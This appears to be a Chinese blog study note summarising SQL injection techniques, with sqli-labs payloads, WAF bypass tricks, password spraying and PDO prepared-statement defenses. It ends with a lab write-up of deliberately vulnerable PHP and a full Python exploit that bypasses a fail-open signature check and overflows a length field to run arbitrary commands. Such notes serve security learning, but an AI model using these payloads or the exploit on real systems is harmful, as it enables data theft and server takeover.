SQL注入知识要点总结
SQL 注入的函数武器库
字符串截取系列:substr, substring, left, right, mid
长度与数值处理系列:length, ceil, floor
ascii():字符转码器
if(1=1,条件为真,条件为假):逻辑分支器
concat(str1, str2, ...):行内拼接器
group_concat(expr):跨行聚合器
查询当前状态:
database():当前使用的数据库名
user():当前数据库连接用户
version():数据库版本
SQL 注入的“导航地图”
information_schema 是一个虚拟数据库,它存储了关于所有其他数据库的元数据(例如库名、表名、字段名、访问权限等)。
1.SCHEMATA 表:库的索引
核心字段:SCHEMA_NAME。
注入应用:用于获取服务器上所有数据库的名称。
Payload 示例: ?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
2. TABLES 表:表的索引
核心字段:TABLE_SCHEMA(所属库名), TABLE_NAME(表名)。
注入应用:在确定了目标库名后,通过指定 TABLE_SCHEMA 来查询该库下的所有表。
Payload 示例: ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
3. COLUMNS 表:列的索引
核心字段:TABLE_SCHEMA(库名), TABLE_NAME(表名), COLUMN_NAME(列名)。
注入应用:在确定了目标表名后,获取该表的所有字段名,为最后一步提取数据做准备。
Payload 示例: ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'--
探测与类型判定
1.寻找注入点
观察 URL 参数(如 ?id=1)或 POST 表单提交位。
2.判断注入类型
数字型:输入 and 1=2,页面异常即存在漏洞。
字符型:输入单引号 ' 引起报错,或用 and 1=2 判断。
注释符的作用:
--+ 或 -- :SQL标准注释。
#:MySQL特有注释。(post请求类型必用)
/**/:常用于绕过空格过滤。
目的:切断原脚本后续的 LIMIT 或引号,使我们的 Payload 生效。
3.判断列数(针对联表查询)
使用 order by N。如果 order by 3 正常,order by 4 报错,说明有 3 列。
4.寻找回显位
根据列数,使用 UNION SELECT 1,2,3看页面上显示的是哪个数字,那个数字对应的位置就是回显位。
注入类型
一、 基础注入类型
联合查询注入
利用 UNION 操作符将恶意查询结果合并到原始查询中,前提是页面必须有直接的数据回显位。
sqli-labs 示例:
Less 1 :?id=-1' union select 1,2,database()--+。
关键步骤:先用 order by 找列数,再用 union select 定位显示位。
报错注入
通过构造特定函数(如 updatexml 或 floor)故意引发数据库错误,使数据随错误信息一起显示出来。
sqli-labs 示例:
Less 5:'and updatexml(1, concat(0x7e, (select database()), 0x7e), 1)--+。
补充:数据显示不全可结合limit使用,多行结果可用group_concat函数回显。
二、 盲注类型
当服务器不返回错误或数据,仅通过页面差异判断时使用。
布尔盲注
利用 AND 或 OR 构造逻辑判断,根据页面返回的是“正常”还是“异常/缺失”来逐字符猜解。
sqli-labs 示例:
Less 8:
探测示例:?id=1' and length(database())=8--+。
猜解字符:?id=1' and ascii(substr(database(),1,1))=115--+。
时间盲注
利用 IF 和 SLEEP 函数,如果条件成立则触发延迟,以此判断数据内容。
sqli-labs 示例:
Less 9:
通用 Payload:?id=1' and if(1=1, sleep(3), 1)--+。
三、 进阶与特殊注入
二次注入
第一步将带有引号的恶意数据存入数据库(此时被转义,安全);
第二步应用调用该存储数据拼接 SQL 语句时,转义失效触发注入。
sqli-labs 示例:Less 24 (二次注入修改管理员密码)。
宽字节注入
针对 GBK 编码,在单引号前加入 %df,使其与转义符 \ (%5c) 结合成汉字%df%5c(运),从而让引号逃逸。
sqli-labs 示例:Less 32 - Less 36。
技巧:?id=1%df' union select...。
into outfile 注入
三个前提条件:
1、身份必须为root权限
2:必须知道网站的实际物理地址也就是 D:/php/www/sql/webshell.php
3: secure_file_priv 必须为空,需要在my.cnf下修改这个是设置导出文件路径的。
然后我们需要用outfile函数,将一段php代码写入到一个php脚本文件中并导出到网站上级目录下。
sqli-labs 示例:Less 17。
堆叠注入
利用分号 `;` 同时执行多条 SQL 语句。不仅能查询,还能执行 `UPDATE`、`DROP` 等操作。
sqli-labs 示例:Less 38 - Less 41。
sql绕过技巧
1. 字符与符号
| 目标 | 绕过技巧 | 补充要点 |
| 空格 | /**/、%0a(换行)、%0b、+、括号包裹、单引号 |
在某些环境中,%a0(不换行空格)也能奇效。 |
| 引号 | 十六进制 (0x...)、CHAR() 函数 |
WHERE user = CHAR(97,100,109,105,110) 等同于 admin。 |
| 逗号 | JOIN 联表、LIMIT 1 OFFSET 0、MID(str FROM 1 FOR 1) |
MID 和 SUBSTR 都有 FROM...FOR 语法,完美避开逗号。 |
| 比较符 | GREATEST()、LEAST()、BETWEEN |
GREATEST(a,b) 返回较大值,可用于二分查找判断 ASCII 码。 |
2. 逻辑操作符的等价替换
WAF 通常会死盯 SELECT、UNION、AND、OR。
逻辑符:
-
AND$\rightarrow$&& -
OR$\rightarrow$|| -
XOR$\rightarrow$^(异或) -
NOT$\rightarrow$!
关键字变形:
-
大小写混淆:
SeLeCt(针对规则不严的旧 WAF)。 -
双写绕过:
selselectect(针对只删除一次关键字的过滤逻辑)。 -
内联注释(MySQL特有):
/*!50000Select*/。这表示如果数据库版本高于 5.0.0.0,则执行 Select。
3.盲注中的高级绕过:LIKE 与正则
LIKE 绕过,在布尔盲注中极具杀伤力。
LIKE 模式匹配:使用 %(通配符)或 _(单个占位符)。
REGEXP 正则匹配:select user regexp '^r'。
优点:比 LIKE 更强大,可以匹配复杂的字符串规则,且常被忽略。
INSTR() 或 LOCATE():
IF(INSTR(database(),'s'), sleep(5), 1)。如果库名包含 's',返回其位置(非0即真),从而触发延迟。
正则表达式回溯绕过:
因为回溯的限制为1000000个字符,所以我们在我们输入的字符串的后面加上1000000个字符就可以使正则无效,而且不影响正文地绕过。
补充:缓冲区溢出与特殊编码
十六进制/URL双重编码:
有些 WAF 只解码一次。尝试将 % 编码为 %25,例如 %2527(双重编码后的单引号)。
超长字符串溢出:
构造极长的无用参数(如 &a=aaaa... 连续几千个),某些 WAF 为了性能会跳过后续内容的检查,此时将 Payload 放在最后即可。
反引号 (`) 绕过:
在 MySQL 中,反引号用于包裹标识符(表名、列名)。如果 users 被过滤,尝试使用 `users`。
perg_match()函数绕过:
这个函数只检查字符串,提供一个只有一个字符串的数组即可绕过。
渗透实战策略:信息收集与密码喷洒
1. 信息收集
利用工具对渗透网站进行信息收集
2. 密码喷洒 vs 暴力破解
暴力破解:死磕一个用户,尝试 10000 个密码(易触发布控,被封 IP)。
密码喷洒:死磕一个弱密码(如 123456),尝试 10000 个用户名(如 admin, root, zhangwei)。
喷洒优势:每个用户只错一次,极大概率绕过账户锁定的风控机制。
自动化与效率优化
针对盲注:
1.BP 爆破
2.Python 暴力破解
3.Python 二分查找
sql预防:
预编译(PDO)
在 SQL 注入的逻辑里,我们是把攻击代码伪装成数据传进去;而预编译则像是一个模具,它先定死 SQL 语句的结构,后续传进去的任何东西,都只会被当作“纯文字”处理。它的核心思想非常简单:“把代码和数据分开”。
1、虚假预编译:只是高级点的“字符串拼接”
这是许多 Web 环境(如 PHP 的 PDO 默认配置)为了性能或兼容性采取的方案。
<?php
$username = $_POST['username'];
$db = new PDO("mysql:host=localhost;dbname=test", "root", "root123");
$stmt = $db->prepare("SELECT password FROM test where username= :username");
$stmt->bindParam(':username', $username);
$stmt->execute();
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
var_dump($result);
$db = null;
?>
工作机制:PHP 在本地(客户端)先将 SQL 模板和参数拿到,然后根据设置的字符集,自动给参数加上单引号并对内部的敏感字符进行转义。最后,把拼好的完整 SQL 语句发给数据库。
本质:它没有改变 SQL 执行的逻辑,只是把手动 addslashes 的活儿交给了 PDO 驱动自动完成。
风险点:
-
宽字节注入:如果字符集设置不当(如使用了
SET NAMES gbk而不是在 DSN 连接串中指定),%df依然可以吞掉自动加上的转义符。 -
非参数化位:由于它本质还是拼接,对于
ORDER BY或表名位置,它依然无能为力。
2. 真实预编译:逻辑与数据的“物理隔离”
这才是数据库层面的原生支持,也是防御 SQL 注入的终极手段。
<?php
$username = $_POST['username'];
$db = new PDO("mysql:host=localhost;dbname=test", "root", "root123");
$db -> setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$stmt = $db->prepare("SELECT password FROM test where username= :username");
$stmt->bindParam(':username', $username);
$stmt->execute();
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
var_dump($result);
$db = null;
?>
执行顺序(底层三步走):
-
建立连接 (Connect):客户端与数据库握手。
-
构建语法树 (Prepare):数据库收到带有
?占位符的语句,进行词法解析、语法分析。此时,SQL 语句的结构(干什么)已经定死了。 -
执行 (Execute):客户端发送参数(数据是什么),数据库将参数填入语法树的槽位中运行。
核心优势:
-
数据永远是数据:参数里的任何引号、注释符、
OR 1=1都会被当作普通的“文本值”,绝对不会被当作 SQL 指令解析。 -
性能:如果执行 1000 次相同的查询,数据库只需构建 1 次语法树,效率极高。
order by || group by:
因为order by 如果后面的参数跟了引号,order by会失效,即order by的参数是不能被参数化的。
如果允许预编译绑定列名或表名,那么SQL结构部分会影响查询计划,比如下面的代码
$stmt = $db->prepare("SELECT * FROM users ORDER BY :column");
$stmt->bindParam(':column', $column);
$stmt->execute();
首先,这样的写法会导致查询优化失败,数据库的查询优化器在预编译阶段无法确定 ORDER BY :column 具体会如何执行,不同列索引可能导致不同的查询计划,其次这样会导致无法复用执行计划,如果 :column 可能是 id、username、email,不同列的索引和排序方式不同,数据库必须为每个不同的列生成新的执行计划,失去了预编译的优势,因此预编译绑定的值始终是数据值,不会影响 SQL 结构。
实际上order by和group by的地方是固定的,并不会被传值。
pgsql预编译溢出注入
index.php
<?php
$Secret_key = "Fidy66rEB65mnE5UbPyEsgMxmmhdNebU";
//pdo 绕过的 不可用的地方 在order by 如果在pdo框架下 有order by 用户可控 有可能产生 注入
function checkSignature($signature)
{
try {
$decoded = base64_decode($signature, true);
if ($decoded === false) {
throw new Exception("Invalid base64 encoding");
}
global $Secret_key;
return $decoded === $Secret_key;
} catch (Exception $e) {
echo $e->getMessage() . PHP_EOL;
}
}
function verifySignature($headers)
{
if (!isset($headers['X-Signature'])) {
return false;
}
$validSignature = $headers['X-Signature'];
if (checkSignature($validSignature) === false) {
return false;
}
return true;
}
if (!verifySignature(getallheaders())) {
http_response_code(403);
?>
<div style="
margin: 50px auto;
padding: 20px;
max-width: 600px;
background-color: #ffe6e6;
color: #a94442;
border: 1px solid #f5c6cb;
border-left: 5px solid #d9534f;
border-radius: 8px;
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
box-shadow: 0 0 10px rgba(0,0,0,0.1);
">
<h2>⚠️ 签名验证失败</h2>
<p>您的请求未通过验证,可能存在伪造行为或签名错误。</p>
</div>
<?php
exit;
}
// 1 未授权问题 fail-open
function base64url_encode($data)
{
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
function encrypt($data, $key)
{
$method = 'AES-256-CBC';
$iv = openssl_random_pseudo_bytes(16);
$encrypted = openssl_encrypt($data, $method, $key, OPENSSL_RAW_DATA, $iv);
return base64url_encode($iv . $encrypted);
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$function = $_POST['function'] ?? '';
$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
$host = $_SERVER['SERVER_ADDR'];
$baseUrl = $protocol . '://' . $host;
$data = '';
if ($function === 'A') {
$command = 'date';
// TYPE LENGTH VALUE
// A 4 DATE
// 41000a323433
$data = bin2hex('A' . pack('n', strlen($command)) . $command);
} elseif ($function === 'B') {
//可控点 他有检测日期的函数
//type length value
// b date用户可控
// length 可以溢出
// B LENGTH DATE
// 10 2024-03-03 A length value + A
// //
// B 10 4242322A0006dadsadasdAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// date=2024-03-03 + 65536 = 65546
// 你需要再B的type里 走私一个A
//
// B
$date = $_POST['date'] ?? '';
$command = $date;
$data = bin2hex('B' . pack('n', strlen($command)) . $command);
} elseif ($function === 'C') {
$weekdate = $_POST['weekdate'] ?? '';
$timestamp = strtotime($weekdate);
if ($timestamp === false) {
$result = '<div class="result"><h3>执行结果:</h3><pre>无效的日期格式</pre></div>';
} else {
$monday = strtotime('last monday', $timestamp);
if (date('N', $timestamp) == 1) $monday = $timestamp;
$combined = '';
for ($i = 0; $i < 7; $i++) {
$day = date('Y-m-d', strtotime("+$i day", $monday));
$command = $day;
$combined .= 'B' . pack('n', strlen($command)) . $command;
}
$data = bin2hex($combined);
}
}
if (!empty($data)) {
$encryptedSource = encrypt('index.php', $Secret_key);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $baseUrl . '/ez_inject/execute.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'X-Source: ' . $encryptedSource,
'Content-Type: application/octet-stream'
]);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, hex2bin($data));
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);
$response = curl_exec($ch);
$error = curl_error($ch);
curl_close($ch);
$result = $error
? '<div class="result"><h3>执行结果:</h3><pre>请求失败: ' . htmlspecialchars($error) . '</pre></div>'
: '<div class="result"><h3>执行结果:</h3><pre>' . $response . '</pre></div>';
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>功能选择</title>
<style>
body {
font-family: Arial, sans-serif;
max-width: 800px;
margin: 0 auto;
padding: 20px;
}
.container {
display: flex;
flex-direction: column;
gap: 20px;
}
.function {
border: 1px solid #ddd;
padding: 20px;
border-radius: 5px;
}
input[type="text"] {
padding: 8px;
margin: 5px 0;
width: 200px;
}
button {
padding: 8px 16px;
background-color: #4CAF50;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
}
button:hover {
background-color: #45a049;
}
.result {
margin-top: 20px;
padding: 10px;
border: 1px solid #ddd;
border-radius: 5px;
background-color: #f9f9f9;
}
</style>
</head>
<body>
<div class="container">
<h1>功能选择</h1>
<div class="function">
<h2>当前系统时间</h2>
<form method="post">
<input type="hidden" name="function" value="A">
<button type="submit">执行</button>
</form>
</div>
<div class="function">
<h2>解析指定日期</h2>
<form method="post" onsubmit="return validateDate(this.date.value);">
<input type="hidden" name="function" value="B">
<input type="text" name="date" placeholder="输入日期 (YYYY-MM-DD)" required pattern="\d{4}-\d{2}-\d{2}">
<button type="submit">执行</button>
</form>
</div>
<div class="function">
<h2>解析某日期所在周的每天</h2>
<form method="post" onsubmit="return validateDate(this.weekdate.value);">
<input type="hidden" name="function" value="C">
<input type="text" name="weekdate" placeholder="输入日期 (YYYY-MM-DD)" required pattern="\d{4}-\d{2}-\d{2}">
<button type="submit">执行</button>
</form>
</div>
<script>
function validateDate(dateStr) {
const regex = /^\d{4}-\d{2}-\d{2}$/;
if (!regex.test(dateStr)) {
alert("请输入正确的日期格式:YYYY-MM-DD");
return false;
}
return true;
}
</script>
<?php if (isset($result)): ?>
<?php echo $result; ?>
<?php endif; ?>
</div>
</body>
</html>
execute.php
<?php
$Secret_key = "Fidy66rEB65mnE5UbPyEsgMxmmhdNebU";
//pdo 绕过的 不可用的地方 在order by 如果在pdo框架下 有order by 用户可控 有可能产生 注入
function checkSignature($signature)
{
try {
$decoded = base64_decode($signature, true);
if ($decoded === false) {
throw new Exception("Invalid base64 encoding");
}
global $Secret_key;
return $decoded === $Secret_key;
} catch (Exception $e) {
echo $e->getMessage() . PHP_EOL;
}
}
function verifySignature($headers)
{
if (!isset($headers['X-Signature'])) {
return false;
}
$validSignature = $headers['X-Signature'];
if (checkSignature($validSignature) === false) {
return false;
}
return true;
}
if (!verifySignature(getallheaders())) {
http_response_code(403);
?>
<div style="
margin: 50px auto;
padding: 20px;
max-width: 600px;
background-color: #ffe6e6;
color: #a94442;
border: 1px solid #f5c6cb;
border-left: 5px solid #d9534f;
border-radius: 8px;
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
box-shadow: 0 0 10px rgba(0,0,0,0.1);
">
<h2>⚠️ 签名验证失败</h2>
<p>您的请求未通过验证,可能存在伪造行为或签名错误。</p>
</div>
<?php
exit;
}
// 1 未授权问题 fail-open
function base64url_encode($data)
{
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
function encrypt($data, $key)
{
$method = 'AES-256-CBC';
$iv = openssl_random_pseudo_bytes(16);
$encrypted = openssl_encrypt($data, $method, $key, OPENSSL_RAW_DATA, $iv);
return base64url_encode($iv . $encrypted);
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$function = $_POST['function'] ?? '';
$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
$host = $_SERVER['SERVER_ADDR'];
$baseUrl = $protocol . '://' . $host;
$data = '';
if ($function === 'A') {
$command = 'date';
// TYPE LENGTH VALUE
// A 4 DATE
// 41000a323433
$data = bin2hex('A' . pack('n', strlen($command)) . $command);
} elseif ($function === 'B') {
//可控点 他有检测日期的函数
//type length value
// b date用户可控
// length 可以溢出
// B LENGTH DATE
// 10 2024-03-03 A length value + A
// //
// B 10 4242322A0006dadsadasdAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
// date=2024-03-03 + 65536 = 65546
// 你需要再B的type里 走私一个A
//
// B
$date = $_POST['date'] ?? '';
$command = $date;
$data = bin2hex('B' . pack('n', strlen($command)) . $command);
} elseif ($function === 'C') {
$weekdate = $_POST['weekdate'] ?? '';
$timestamp = strtotime($weekdate);
if ($timestamp === false) {
$result = '<div class="result"><h3>执行结果:</h3><pre>无效的日期格式</pre></div>';
} else {
$monday = strtotime('last monday', $timestamp);
if (date('N', $timestamp) == 1) $monday = $timestamp;
$combined = '';
for ($i = 0; $i < 7; $i++) {
$day = date('Y-m-d', strtotime("+$i day", $monday));
$command = $day;
$combined .= 'B' . pack('n', strlen($command)) . $command;
}
$data = bin2hex($combined);
}
}
if (!empty($data)) {
$encryptedSource = encrypt('index.php', $Secret_key);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $baseUrl . '/demo/ez_inject/execute.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'X-Source: ' . $encryptedSource,
'Content-Type: application/octet-stream'
]);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, hex2bin($data));
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);
$response = curl_exec($ch);
$error = curl_error($ch);
curl_close($ch);
$result = $error
? '<div class="result"><h3>执行结果:</h3><pre>请求失败: ' . htmlspecialchars($error) . '</pre></div>'
: '<div class="result"><h3>执行结果:</h3><pre>' . $response . '</pre></div>';
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>功能选择</title>
<style>
body {
font-family: Arial, sans-serif;
max-width: 800px;
margin: 0 auto;
padding: 20px;
}
.container {
display: flex;
flex-direction: column;
gap: 20px;
}
.function {
border: 1px solid #ddd;
padding: 20px;
border-radius: 5px;
}
input[type="text"] {
padding: 8px;
margin: 5px 0;
width: 200px;
}
button {
padding: 8px 16px;
background-color: #4CAF50;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
}
button:hover {
background-color: #45a049;
}
.result {
margin-top: 20px;
padding: 10px;
border: 1px solid #ddd;
border-radius: 5px;
background-color: #f9f9f9;
}
</style>
</head>
<body>
<div class="container">
<h1>功能选择</h1>
<div class="function">
<h2>当前系统时间</h2>
<form method="post">
<input type="hidden" name="function" value="A">
<button type="submit">执行</button>
</form>
</div>
<div class="function">
<h2>解析指定日期</h2>
<form method="post" onsubmit="return validateDate(this.date.value);">
<input type="hidden" name="function" value="B">
<input type="text" name="date" placeholder="输入日期 (YYYY-MM-DD)" required pattern="\d{4}-\d{2}-\d{2}">
<button type="submit">执行</button>
</form>
</div>
<div class="function">
<h2>解析某日期所在周的每天</h2>
<form method="post" onsubmit="return validateDate(this.weekdate.value);">
<input type="hidden" name="function" value="C">
<input type="text" name="weekdate" placeholder="输入日期 (YYYY-MM-DD)" required pattern="\d{4}-\d{2}-\d{2}">
<button type="submit">执行</button>
</form>
</div>
<script>
function validateDate(dateStr) {
const regex = /^\d{4}-\d{2}-\d{2}$/;
if (!regex.test(dateStr)) {
alert("请输入正确的日期格式:YYYY-MM-DD");
return false;
}
return true;
}
</script>
<?php if (isset($result)): ?>
<?php echo $result; ?>
<?php endif; ?>
</div>
</body>
</html>
访问index.php

我们观察底层代码

这里的 checkSignature 函数以及 verifySignature 函数的验证配合存在一个严重的逻辑缺陷,checkSignature 只是在能正常解码的时候把签名和 $Secret_Key 进行比较,返回真或者假,而 verifySignature 只有在 checkSignature 返回假的时候才退出,否则默认返回真,那么这里我们其实只需要构造一个错误的base64编码,比如@@@,让 checkSignature 解码错误,那么该函数就会抛出错误,不会返回任何东西,自然也不会返回假,verifySignature 也能正常通过,这里是fail-open漏洞
fail-open 问题,是指当程序出现故障(如鉴权失败、抛出报错等)时,流程并没有终止,而是继续运行,导致漏洞产生的现象。
添加X-Signature字段,构造一个错误的base64编码,放行数据包


虽然有Invalid base64 encoding提示错误,但是我们还是进来了
接下来我们再次观察底层代码


这里index.php和execute.php通过构造的二进制协议进行传输,构造逻辑是标志字段+命令长度+实际命令。
在 index.php 中,代码会构造一个简单的二进制协议包发送给 execute.php,当执行 function=A 时,会直接给出当前时间,没有可控点。B有可控点但当 function=B 时,但是B包会被校验拦截。
又因为发送的长度字段是直接 len 的载荷,虽然我们的命令不符合日期可能不能直接执行,但我们现在确实能直接控制长度字段的长度。回看这个协议,这个 pack('n', strlen($command)) 其实是获取 $command 这段字符串的长度接着按照 16 位(2 字节)无符号整数打包成二进制数据。

假设日期为2012-12-11,那么16 位length部分就为 000a,我们可以在2012-12-11后面加10个A,那么长度就变为0014了,也就是20,而 16 位无符号整数其实有上限的,它的上限就是 ffff,如果我们再给它加 1,它就会变成 10000,而经过 16 位的截断,实际上写入协议的长度就变成了 0000。我们不妨做个实验,16 位无符号整数的最大值是 65535,而本来的载荷 2012-12-11 的长度是 10,理论上我们只要再在 2012-12-11 的后面加 65526 个 A,那么现在写入协议的长度字段就应该变成 0000,而事实也正如我们所愿,它变成了 0000。
整理一下:
如果你发送的 $date 长度刚好达到 65546 字节:
-
strlen($command)= 65546。 -
pack('n', 65546)会发生溢出。由于 65546 (mod 65536)= 10,包头里的长度字段会被错误地写为 10。 -
execute.php解析时,只读取前 10 个字节作为日期,剩下的 65536 个字节会被当作 下一个协议包 处理。

那么思路其实已经很明显了,因为只有标头为 A 的二进制协议才能正常执行,那么我们只需要构造一个标头为 A 的可以执行命令的二进制协议,将他放在 2012-12-11 的后面,然后填充 A,保证第一个协议截断后恰好是一个合法的以 A 开头的协议,那么就会成功解析我们的协议并且执行任意命令了。
python脚本如下
import http.client
import struct
import gzip
import io
import base64
import requests
# 构造头部用到的签名
x_signature = "@@@"
# TYPE length value
# A xxx
def build_packet(command: str) -> str:
prefix = b"A"
length = struct.pack(">H", len(command))
payload = command.encode()
full_packet = prefix + length + payload
return full_packet.hex()
# command2execute = "find / -perm -u=s -type f 2>/dev/null"
# command2execute = "date -f /f* 2>&1"
# command2execute = "cat /f* 2>&1"
# command2execute = "ls -al /"
command = (
"cmd.exe /c dir"
)
HexCommand = build_packet(command)
# print(HexCommand)
hex_part = bytes.fromhex(HexCommand)
prefix = "function=B&date=2012-12-11"
prefix_bytes = prefix.encode()
total_length = 65536
filler_len = total_length - len(hex_part)
# 构造请求体:前缀 + 协议包 + 填充
body = prefix_bytes + hex_part + b"A" * filler_len
# target_url = "http://192.168.68.129/ez_inject/index.php"
# target_url = "http://192.168.68.174/index.php"
target_url = "http://192.168.2.106/ez_inject/index.php"
# 构造 headers
headers = {
"X-Signature": x_signature,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": str(len(body)),
}
# 发起请求
# conn = http.client.HTTPConnection(target_url)
res = requests.post(url=target_url, data=body, headers=headers)
print(res.text)
# print(res.content.decode(errors="ignore"))
# print("status:", res.status_code)
# print("len:", len(res.content))
# print(res.content[:200])
# print(res.content.decode("utf-8", errors="ignore"))
启发:PDO预编译有个明显的缺陷:可以消除sql歧义,但是无法真正的消除sql注入。
更多推荐
所有评论(0)